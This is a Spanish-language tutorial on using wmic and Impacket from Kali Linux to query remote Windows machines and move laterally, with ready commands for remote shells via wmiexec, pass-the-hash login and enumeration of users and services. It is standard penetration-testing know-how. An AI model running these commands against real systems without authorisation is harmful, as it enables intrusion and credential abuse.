Auditar, consultar o realizar movimiento lateral en sistemas Windows remotos
Auditar, consultar o realizar movimiento lateral en sistemas Windows remotos
Si estás buscando usar WMIC (Windows Management Instrumentation Command-line) en Kali Linux para auditar, consultar o realizar movimiento lateral en sistemas Windows remotos, la situación ha cambiado un poco en los últimos años debido a la evolución de las herramientas.
Aquí tienes las opciones actuales, cómo instalarlas y cómo utilizarlas en español.
Opción 1: El paquete clásico wmi-client (La herramienta wmic nativa)
Kali Linux solía incluir por defecto el paquete wmi-client (basado en el código antiguo de Samba). Aunque ya no viene preinstalado en las versiones más recientes porque el código es muy antiguo, todavía se puede instalar o compilar.
Cómo instalarlo (si no lo tienes):
sudo apt update
sudo apt install wmi-client
Sintaxis básica de uso:
Para lanzar una consulta WMI a una máquina Windows remota, la estructura es la siguiente:
wmic -U "DOMINIO/Usuario%Contraseña" //IP_OBJETIVO "SELECT * FROM Clase_WMI"
Ejemplos prácticos:
Obtener información del sistema operativo:
Bashwmic -U "WORKGROUP/Administrator%Pass123" //192.168.1.50 "SELECT Caption, Version FROM Win32_OperatingSystem"Listar los procesos que se están ejecutando en la máquina remota:
Bashwmic -U "WORKGROUP/Administrator%Pass123" //192.168.1.50 "SELECT Name, ProcessId FROM Win32_Process"
Opción 2: La alternativa moderna y recomendada (Impacket)
Hoy en día, el comando tradicional wmic en Linux está prácticamente en desuso porque los Windows modernos (con parches de seguridad recientes) suelen bloquear sus conexiones RPC/DCOM antiguas.
La comunidad de ciberseguridad utiliza Impacket, una suite que ya viene 100% preinstalada en Kali Linux y que incluye herramientas brutales para interactuar con WMI de forma mucho más estable.
1. wmiexec.py (Para obtener una consola remota)
En lugar de solo hacer consultas, este script te da una shell (consola) semi-interactiva en el Windows objetivo utilizando WMI.
Comando:
Bashimpacket-wmiexec "DOMINIO/Usuario:Contraseña@IP_OBJETIVO"Ejemplo con Hash (Pass-the-Hash): Si no tienes la contraseña pero sí su hash NTLM, puedes entrar igual:
Bashimpacket-wmiexec -hashes :aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a478135a93ac "Administrator@192.168.1.50"
2. wmiquery.py (El sustituto directo de wmic)
Si lo único que quieres es hacer consultas a las clases WMI (igual que hacías con el wmic clásico), Impacket incluye wmiquery.py.
Paso 1: Abrir la consola de consultas:
Bashimpacket-wmiquery "DOMINIO/Usuario:Contraseña@IP_OBJETIVO"Paso 2: Una vez dentro del prompt
WMI>, lanzas tu consulta SQL:SQLWMI> SELECT Name, Caption FROM Win32_SoftwareFeature
💡 Clases WMI más útiles para tus auditorías
Ya sea que uses el wmic clásico o wmiquery.py, estas son las clases de Windows más comunes que querrás consultar:
Win32_LogicalDisk: Para ver los discos duros y el espacio libre.Win32_LocalTime: Para saber la hora exacta del sistema objetivo.Win32_UserAccount: Para listar los usuarios del sistema.Win32_Product: Para ver el software instalado (¡cuidado! Esta consulta puede ser lenta y activar instaladores en el objetivo).Win32_Service: Para listar los servicios (y ver si puedes explotar alguna ruta no entrecomillada).
⚠️ Nota de seguridad: Recuerda que para que WMI funcione remotamente, el usuario que utilices debe tener privilegios administrativos en la máquina remota (o pertenecer al grupo Usuarios de administración de la configuración) y el puerto 135 (RPC) debe estar abierto en el firewall de Windows.